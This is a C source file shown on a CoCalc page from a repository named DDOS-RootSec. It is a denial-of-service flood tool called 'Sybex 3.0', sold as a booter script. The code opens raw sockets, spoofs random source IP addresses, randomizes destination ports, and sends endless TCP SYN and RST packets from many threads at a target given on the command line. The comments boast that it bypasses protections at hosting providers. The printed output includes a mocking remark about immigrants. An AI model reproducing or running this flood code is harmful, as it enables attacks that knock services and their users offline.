Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/DDOS Scripts/L4/TCP/sybexv3.c
4565 views
1
//
2
//
3
// SYBEX 3.0 BOOTER.PW
4
//
5
// Specially made to Serial from Alemalakra.
6
//
7
// Type: TCP-RST Spoofed Bypass PPS.
8
// Price: ????????
9
// Version: 3.0
10
//
11
// "-1" PPS For use all Packets-Per-Second.
12
// "0" on Port for send Destination-ports fully random, New Bypass.
13
// Improved whole script, Works on most targets, Including digital ocean and Hetzner.
14
//
15
//
16
17
#include<stdio.h>
18
#include<string.h> //memset
19
#include<sys/socket.h>
20
#include<stdlib.h> //for exit(0);
21
#include<errno.h> //For errno - the error number
22
#include<netinet/tcp.h> //Provides declarations for tcp header
23
#include <arpa/inet.h>
24
#include<netinet/ip.h> //Provides declarations for ip header
25
#include <pthread.h>
26
#include <stdint.h>
27
#include <unistd.h>
28
#include <sys/types.h>
29
#include <stdbool.h>
30
#include <time.h>
31
static unsigned int floodport;
32
#define BUFFER_SIZE 100
33
char sourceip[17];
34
volatile int limiter; // PPS Limitator.
35
volatile unsigned int pps; // PPS per Second, Global variable including for Threads.
36
volatile unsigned int sleeptime = 100; // Sleep in miliseconds for each packet if pps exeded.
37
38
volatile unsigned int lenght_pkt = 0;
39
struct pseudo_header
40
{
41
u_int32_t source_address;
42
u_int32_t dest_address;
43
u_int8_t placeholder;
44
u_int8_t protocol;
45
u_int16_t tcp_length;
46
struct tcphdr tcp;
47
};
48
49
unsigned short checksum_tcp_packet(unsigned short *ptr,int nbytes) {
50
register long sum;
51
unsigned short oddbyte;
52
register short answer;
53
54
sum=0;
55
while(nbytes>1) {
56
sum+=*ptr++;
57
nbytes-=2;
58
}
59
if(nbytes==1) {
60
oddbyte=0;
61
*((u_char*)&oddbyte)=*(u_char*)ptr;
62
sum+=oddbyte;
63
}
64
65
sum = (sum>>16)+(sum & 0xffff);
66
sum = sum + (sum>>16);
67
answer=(short)~sum;
68
69
return(answer);
70
}
71
72
void *mexico(void *par1)
73
{
74
75
// Make socket
76
77
int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP);
78
79
80
if(s == -1)
81
{
82
perror("[!] For use Script you need root stupid...");
83
exit(1);
84
}
85
86
87
// Declares
88
89
char *targettr = (char *)par1;
90
91
char datagram[4096] , source_ip[32] , *data , *pseudogram;
92
93
//zero out the packet buffer
94
memset (datagram, 0, 4096);
95
96
//IP header
97
struct iphdr *iph = (struct iphdr *) datagram;
98
99
//TCP header
100
struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ip));
101
struct sockaddr_in sin;
102
struct pseudo_header psh;
103
104
//Data part
105
data = datagram + sizeof(struct iphdr) + sizeof(struct tcphdr);
106
if (lenght_pkt == 0) { // bypass pps
107
data = "";
108
}
109
110
111
// Source Address and Such.
112
113
114
char primera [ 20 ] ;
115
116
117
int one_r = randommexico(1, 250);
118
int two_r = randommexico(1, 250);
119
int three_r = randommexico(1, 250);
120
int four_r = randommexico(1, 250);
121
snprintf(primera, sizeof(primera)-1, "%d.%d.%d.%d", one_r, two_r, three_r, four_r);
122
123
snprintf(sourceip, sizeof(sourceip)-1, primera);
124
strcpy(source_ip , sourceip);
125
sin.sin_family = AF_INET;
126
127
128
int rdzeroport;
129
130
if (floodport == 0) {
131
rdzeroport = randommexico(2, 65535);
132
133
sin.sin_port = htons(rdzeroport);
134
tcph->dest = htons (rdzeroport);
135
136
} else {
137
138
sin.sin_port = htons(floodport);
139
tcph->dest = htons (floodport);
140
141
}
142
143
144
145
sin.sin_addr.s_addr = inet_addr (targettr);
146
iph->ihl = 5;
147
iph->version = 4;
148
iph->tos = 0;
149
iph->tot_len = sizeof (struct iphdr) + sizeof (struct tcphdr) + strlen(data);
150
iph->id = htons(1);
151
iph->frag_off = 0;
152
iph->ttl = 64;
153
iph->protocol = IPPROTO_TCP;
154
iph->check = 0;
155
iph->saddr = inet_addr ( source_ip );
156
iph->daddr = sin.sin_addr.s_addr;
157
iph->check = checksum_tcp_packet ((unsigned short *) datagram, iph->tot_len);
158
int randSeq = randommexico(10000, 99999);
159
int randAckSeq = randommexico(10000, 99999);
160
int randSP = randommexico(2, 65535);
161
int randPD = randommexico(2, 65535);
162
int randttl = randommexico(1, 255);
163
int randihl = randommexico(4, 7);
164
int randWin = randommexico(1000, 9999);
165
tcph->source = randSP;
166
167
tcph->seq = randSeq;
168
tcph->ack_seq = 0;
169
tcph->doff = 5;
170
tcph->fin=0;
171
tcph->syn=1;
172
tcph->rst=0;
173
tcph->psh=0;
174
tcph->ack=0;
175
tcph->urg=0;
176
tcph->window = randWin;
177
tcph->check = 0;
178
tcph->urg_ptr = 0;
179
180
psh.source_address = inet_addr( source_ip );
181
psh.dest_address = sin.sin_addr.s_addr;
182
psh.placeholder = 0;
183
psh.protocol = IPPROTO_TCP;
184
psh.tcp_length = htons(sizeof(struct tcphdr) + strlen(data) );
185
186
187
int psize = sizeof(struct pseudo_header) + sizeof(struct tcphdr) + strlen(data);
188
pseudogram = malloc(psize);
189
190
memcpy(pseudogram , (char*) &psh , sizeof (struct pseudo_header));
191
memcpy(pseudogram + sizeof(struct pseudo_header) , tcph , sizeof(struct tcphdr) + strlen(data));
192
193
tcph->check = checksum_tcp_packet( (unsigned short*) pseudogram , psize);
194
195
196
//tcph->check = checksum_tcp_packet( (unsigned short*) &psh , sizeof (struct pseudo_header));
197
int one = 1;
198
const int *val = &one;
199
if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0)
200
{
201
exit(0);
202
}
203
int i;
204
while (1)
205
{
206
//Send the packet
207
if (sendto (s, datagram, iph->tot_len , 0, (struct sockaddr *) &sin, sizeof (sin)) < 0) /* a normal send() */
208
{
209
printf ("[!] Error sending Packet!\n");
210
exit(0);
211
} else {
212
one_r = randommexico(1, 250);
213
two_r = randommexico(1, 250);
214
three_r = randommexico(1, 250);
215
four_r = randommexico(1, 250);
216
snprintf(primera, sizeof(primera)-1, "%d.%d.%d.%d", one_r, two_r, three_r, four_r);
217
snprintf(sourceip, sizeof(sourceip)-1, primera);
218
strcpy(source_ip , sourceip);
219
220
iph->saddr = inet_addr ( source_ip );
221
psh.source_address = inet_addr( source_ip );
222
if (lenght_pkt == 0) { // bypass pps
223
data = "";
224
}
225
226
227
if (floodport == 0) {
228
rdzeroport = randommexico(2, 65535);
229
230
sin.sin_port = htons(rdzeroport);
231
tcph->dest = htons (rdzeroport);
232
233
} else {
234
235
sin.sin_port = htons(floodport);
236
tcph->dest = htons (floodport);
237
238
}
239
240
241
randSeq = randommexico(10000, 99999);
242
randAckSeq = randommexico(10000, 99999);
243
randSP = randommexico(2, 65535);
244
randPD = randommexico(2, 65535);
245
randttl = randommexico(1, 255);
246
randWin = 512;
247
248
tcph->source = randSP;
249
tcph->doff = 5; /* first and only tcp segment */
250
tcph->seq = htons(randSeq);
251
tcph->ack = 0;
252
tcph->ack_seq = 0;
253
tcph->psh = 0;
254
tcph->fin = 0;
255
tcph->rst = 1;
256
tcph->res2 = 0;
257
tcph->doff = 5;
258
tcph->syn = 0;
259
tcph->urg = 0;
260
tcph->urg_ptr = 0;
261
262
tcph->window = htons(0);
263
tcph->check = 0;
264
265
iph->tot_len = sizeof (struct iphdr) + sizeof (struct tcphdr) + strlen(data);
266
iph->protocol = IPPROTO_TCP;
267
iph->check = 0; //Set to 0 before calculating checksum
268
iph->daddr = sin.sin_addr.s_addr;
269
iph->check = checksum_tcp_packet ((unsigned short *) datagram, iph->tot_len);
270
271
psh.tcp_length = htons(sizeof(struct tcphdr) + strlen(data) );
272
int psize = sizeof(struct pseudo_header) + sizeof(struct tcphdr) + strlen(data);
273
pseudogram = malloc(psize);
274
275
memcpy(pseudogram , (char*) &psh , sizeof (struct pseudo_header));
276
memcpy(pseudogram + sizeof(struct pseudo_header) , tcph , sizeof(struct tcphdr) + strlen(data));
277
278
tcph->check = checksum_tcp_packet( (unsigned short*) pseudogram , psize);
279
int one = 1;
280
const int *val = &one;
281
if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0)
282
{
283
exit(0);
284
}
285
pps++;
286
if(i >= limiter)
287
{
288
i = 0;
289
}
290
i++;
291
}
292
}
293
}
294
int randommexico(int min, int max) {
295
static bool first = true;
296
if (first) {
297
srand( time(NULL) );
298
first = false;
299
}
300
return min + rand() % (max + 1 - min);
301
}
302
int main(int argc, char *argv[ ])
303
{
304
if(argc < 6){
305
fprintf(stderr, "[!] Sybex 3.0 Priv8 TCP Bypass by Alemalakra.\n");
306
fprintf(stdout, "[!] Usage: %s <IP> <PORT> <THREADS> <TIME> <PPS>\n", argv[0]);
307
exit(-1);
308
}
309
int multiplier = 20;
310
pps = 0;
311
limiter = 0;
312
313
// Arguments of Method.
314
315
floodport = atoi(argv[2]);
316
void * target = argv[1];
317
int maxim_pps = atoi(argv[5]);
318
int num_threads = atoi(argv[3]);
319
lenght_pkt = 0;
320
pthread_t thread[num_threads];
321
int alem = 0;
322
int i;
323
for(alem = 0;alem<num_threads;alem++){
324
pthread_create( &thread[alem], NULL, &mexico, (void *)argv[1]); // Target
325
}
326
fprintf(stdout, "[!] Sending attack, Please stop inmigrants!\n");
327
328
return 0;
329
}
330
331